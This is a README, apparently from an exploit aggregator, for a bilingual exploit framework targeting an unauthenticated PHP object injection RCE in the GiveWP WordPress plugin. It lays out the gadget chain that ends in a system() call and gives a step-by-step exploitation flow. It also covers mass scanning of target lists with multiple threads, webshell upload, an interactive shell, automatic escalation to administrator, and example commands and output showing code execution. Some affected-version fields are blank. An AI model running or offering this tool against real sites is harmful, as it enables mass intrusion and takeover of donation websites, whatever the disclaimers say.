## https://sploitus.com/exploit?id=36361DFD-F6AF-5DD0-8338-327705A3BD05
⚡ GHOSTLYR00T - GiveWP RCE Exploit Framework
CVE-2026-82222 - GiveWP Unauthenticated RCE Exploit
Mass Scanner + Auto-Detection + Multi-Threading + Interactive Shell
📋 Daftar Isi | Table of Contents
Overview
Fitur Utama | Key Features
Vulnerability Details
Instalasi | Installation
Parameter Lengkap | Complete Parameters
Contoh Penggunaan | Examples
Hasil Scan | Scan Results
How It Works
FAQ
Peringatan | Warning
Lisensi | License
🎯 Overview
GHOSTLYR00T adalah exploit framework untuk CVE-2026-82222, kerentanan PHP Object Injection pada plugin GiveWP WordPress yang memungkinkan Remote Code Execution (RCE) tanpa autentikasi. Tools ini mendukung mass scanning, auto-detection, dan interactive shell.
🔴 CVSS 9.8 - CRITICAL
Vector: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
🚀 Fitur Utama | Key Features
🇮🇩 Bahasa Indonesia
Fitur
Deskripsi
Mass Scan
Scan ratusan target dari file (-f targets.txt)
Auto-Detection
Deteksi otomatis form ID, gateway, dan amount donasi
Multi-Threading
Scan paralel dengan thread configurable (--threads)
Check Mode
Fingerprint cepat tanpa exploit (--check)
JSON Output
Export hasil ke JSON (--json)
TXT Output
Export hasil ke TXT ringkas (--txt)
Interactive Shell
Upload webshell + terminal interaktif
Admin Escalation
Auto-escalate user ke administrator
Progress Bar
Monitor real-time proses scanning
Colored Output
Output dengan warna dan format profesional
🇬🇧 English
Feature
Description
Mass Scan
Scan hundreds of targets from file (-f targets.txt)
Auto-Detection
Auto-detects form ID, gateway, and donation amount
Multi-Threading
Parallel scanning with configurable threads
Check Mode
Fast fingerprint without exploitation (--check)
JSON Output
Export results to JSON (--json)
TXT Output
Export results to TXT (--txt)
Interactive Shell
Upload webshell + interactive terminal
Admin Escalation
Auto-escalate user to administrator
Progress Bar
Real-time scan progress monitoring
Colored Output
Professional colored terminal output
🔍 Vulnerability Details
CVE-2026-82222 - GiveWP Unauthenticated RCE
Aspek
Detail
Affected Versions
GiveWP
Patched Versions
GiveWP >= 4.16.7.2
Attack Vector
Network (AV:N)
Privileges Required
None (PR:N)
Impact
Complete System Compromise
POP Chain:
TCPDF::__destruct()
-> TCPDF::_destroy(true)
-> foreach ($this->imagekeys as $file)
-> Symfony Session::getIterator()
-> Session::getBag($this->attributeName)
-> $this->storage->getBag($attributeName)
-> DonationFactory->__call('getBag', [$attributeName])
-> call_user_func_array('system', [$attributeName])
📦 Instalasi | Installation
🇮🇩 Bahasa Indonesia
🔧 Persyaratan Sistem
OS: Linux / Windows / MacOS
Python: Versi 3.8 atau lebih baru
Library: requests, urllib3
📥 Langkah Instalasi
# 1. Clone repository
git clone https://github.com/GhostlyrootB2H/GHOSTLYR00T.git
cd GHOSTLYR00T
# 2. Install dependencies
pip install requests urllib3
# 3. Tes apakah berhasil
python3 poc.py -h
🇬🇧 English
🔧 System Requirements
OS: Linux / Windows / MacOS
Python: Version 3.8 or higher
Libraries: requests, urllib3
📥 Installation Steps
# 1. Clone repository
git clone https://github.com/GhostlyrootB2H/GHOSTLYR00T.git
cd GHOSTLYR00T
# 2. Install dependencies
pip install requests urllib3
# 3. Test if successful
python3 poc.py -h
🎯 Parameter Lengkap | Complete Parameters
🇮🇩 Bahasa Indonesia
Parameter
Fungsi
Contoh
-f, --fileFile target (batch mode)-f targets.txt
--threadsJumlah thread (default: 4)--threads 10
--jsonExport hasil ke JSON--json hasil.json
--txtExport hasil ke TXT--txt hasil.txt
-c, --commandCommand yang dieksekusi-c "id"
-g, --gatewayForce gateway tertentu-g stripe
-a, --amountForce amount donasi-a 25.00
-t, --triggersRetry attempts (default: 4)-t 5
--timeoutTimeout per request (default: 30s)--timeout 60
--checkFingerprint only--check
--upload-shellUpload webshell--upload-shell
-i, --interactiveInteractive terminal-i
-v, --verboseVerbose output-v
--no-colorDisable colored output--no-color
🇬🇧 English
Parameter
Function
Example
-f, --fileTarget file (batch mode)-f targets.txt
--threadsNumber of threads (default: 4)--threads 10
--jsonExport results to JSON--json results.json
--txtExport results to TXT--txt results.txt
-c, --commandCommand to execute-c "id"
-g, --gatewayForce specific gateway-g stripe
-a, --amountForce donation amount-a 25.00
-t, --triggersRetry attempts (default: 4)-t 5
--timeoutRequest timeout (default: 30s)--timeout 60
--checkFingerprint only--check
--upload-shellUpload webshell--upload-shell
-i, --interactiveInteractive terminal-i
-v, --verboseVerbose output-v
--no-colorDisable colored output--no-color
🔥 Contoh Penggunaan | Examples
🇮🇩 Bahasa Indonesia
1. Single Target
python3 poc.py https://target.com -c "id"
2. Batch Scan (Check Mode)
python3 poc.py -f targets.txt --check --txt hasil_check.txt
3. Batch Scan (Exploit Mode)
python3 poc.py -f targets.txt -c "id" --threads 5 --json hasil.json --txt hasil.txt
4. Interactive Shell
python3 poc.py https://target.com -c "id" --upload-shell -i
5. Verbose Mode
python3 poc.py https://target.com -c "id" -v
🇬🇧 English
1. Single Target
python3 poc.py https://target.com -c "id"
2. Batch Scan (Check Mode)
python3 poc.py -f targets.txt --check --txt check_results.txt
3. Batch Scan (Exploit Mode)
python3 poc.py -f targets.txt -c "id" --threads 5 --json results.json --txt results.txt
4. Interactive Shell
python3 poc.py https://target.com -c "id" --upload-shell -i
5. Verbose Mode
python3 poc.py https://target.com -c "id" -v
📊 Hasil Scan | Scan Results
🇮🇩 Bahasa Indonesia
Terminal Output (Berhasil Exploit)
CVE-2026-82222 GiveWP
TXT Output (Check Mode)
# GiveWP Vulnerability Scan Results (Fingerprint Mode)
# Generated: 2026-09-09 12:00:00
# Total: 10 | Vulnerable: 4 | Exploited: 0 | Failed: 6
#
# Format: TARGET | VERSION | STATUS
#
https://target1.com | 4.15.4 | VULNERABLE
https://target2.com | 4.14.6 | VULNERABLE
JSON Output
{
"timestamp": 1694265600,
"mode": "exploit",
"total": 10,
"vulnerable": 4,
"exploited": 3,
"failed": 7,
"results": [
{
"target": "https://target1.com",
"status": "exploited",
"version": "4.15.4",
"command_output": "uid=33(www-data) gid=33(www-data)"
}
]
}
🇬🇧 English
Terminal Output (Successful Exploit)
CVE-2026-82222 GiveWP
⚙️ How It Works
🇮🇩 Bahasa Indonesia
Step-by-step Exploitation:
Fingerprint: Mendeteksi versi GiveWP via readme.txt dan give.php
Registration: Membuat akun donor tanpa autentikasi via give_action=user_register
Payload Storage: Menyimpan serialized PHP object di metadata last_name
Form Discovery: Menemukan form donasi via REST API dan scraping
Gateway/Amount Auto-Detection: Menguji kombinasi gateway dan amount sampai sukses
Session Poisoning: Mengirim donasi tanpa field give_last untuk trigger deserialization
Trigger & Capture: Mengakses session untuk revive payload dan capture output
Auto-Detection Logic:
# Gateway detection order
CANDIDATE_GATEWAYS = ['manual', 'offline', 'paypal', 'stripe', 'square',
'paypalexpress', 'authorize', 'razorpay', 'mollie']
# Amount detection order
AMOUNT_TESTS = ['0.01', '1.00', '5.00', '10.00', '25.00', '50.00',
'100.00', '250.00', '500.00']
🇬🇧 English
Step-by-step Exploitation:
Fingerprint: Detects GiveWP version via readme.txt and give.php
Registration: Creates donor account via give_action=user_register
Payload Storage: Stores serialized PHP object in last_name metadata
Form Discovery: Finds donation forms via REST API and scraping
Gateway/Amount Auto-Detection: Tests combinations until successful
Session Poisoning: Submits donation without give_last to trigger deserialization
Trigger & Capture: Accesses session to revive payload and capture output
❓ FAQ
🇮🇩 Bahasa Indonesia
Pertanyaan
Jawaban
Versi GiveWP apa yang rentan?
GiveWP
Kenapa harus -a 25?
Beberapa form punya minimum amount (misal $25). Tools auto-detect, tapi bisa di-force.
Bisa digunakan di production?
TIDAK. Hanya untuk authorized testing.
Kenapa registrasi gagal (HTTP 200)?
Target mungkin registrasi dimatikan, WAF aktif, atau versi 4.16.6+.
🇬🇧 English
Question
Answer
Which GiveWP versions are vulnerable?
GiveWP
Why use -a 25?
Some forms have minimum amounts. Tool auto-detects, but can be forced.
Can this be used in production?
NO. For authorized testing only.
Why registration fails (HTTP 200)?
Target may have registration disabled, WAF active, or version 4.16.6+.
⚠️ Peringatan | Warning
⚠️ PERINGATAN HUKUM ⚠️
TOOLS INI HANYA UNTUK PENELITIAN KEAMANAN!
⚠️ Ilegal: Mengakses server tanpa izin = tindak pidana
⚠️ UU ITE: Melanggar Pasal 30-32 tentang akses ilegal
⚠️ Hanya untuk: Pengujian sistem sendiri atau dengan izin tertulis
⚠️ Tanggung Jawab: Pengguna bertanggung jawab penuh atas penggunaan tools ini
GUNAKAN DENGAN BIJAK DAN BERTANGGUNG JAWAB!
⚠️ LEGAL WARNING ⚠️
THIS TOOL IS FOR SECURITY RESEARCH ONLY!
⚠️ Illegal: Accessing servers without permission = criminal offense
⚠️ Legal Risk: Violates computer fraud laws
⚠️ Authorized use only: Testing your own systems or with written permission
⚠️ Responsibility: Users are fully responsible for their use of this tool
USE WISELY AND RESPONSIBLY!
📜 Lisensi | License
🇮🇩 Bahasa Indonesia
Copyright © 2026 GhostlyrootB2H
Didistribusikan di bawah lisensi MIT.
🇬🇧 English
Copyright © 2026 GhostlyrootB2H
Distributed under the MIT License.
👨💻 Author
GhostlyrootB2H
🐙 GitHub: @GhostlyrootB2H
🇮🇩 Terima kasih telah menggunakan GHOSTLYR00T!
Tools ini untuk pembelajaran dan pengujian keamanan.
Jangan gunakan untuk aktivitas ilegal!
🇬🇧 Thank you for using GHOSTLYR00T!
For learning and security testing only.
Do not use for illegal activities!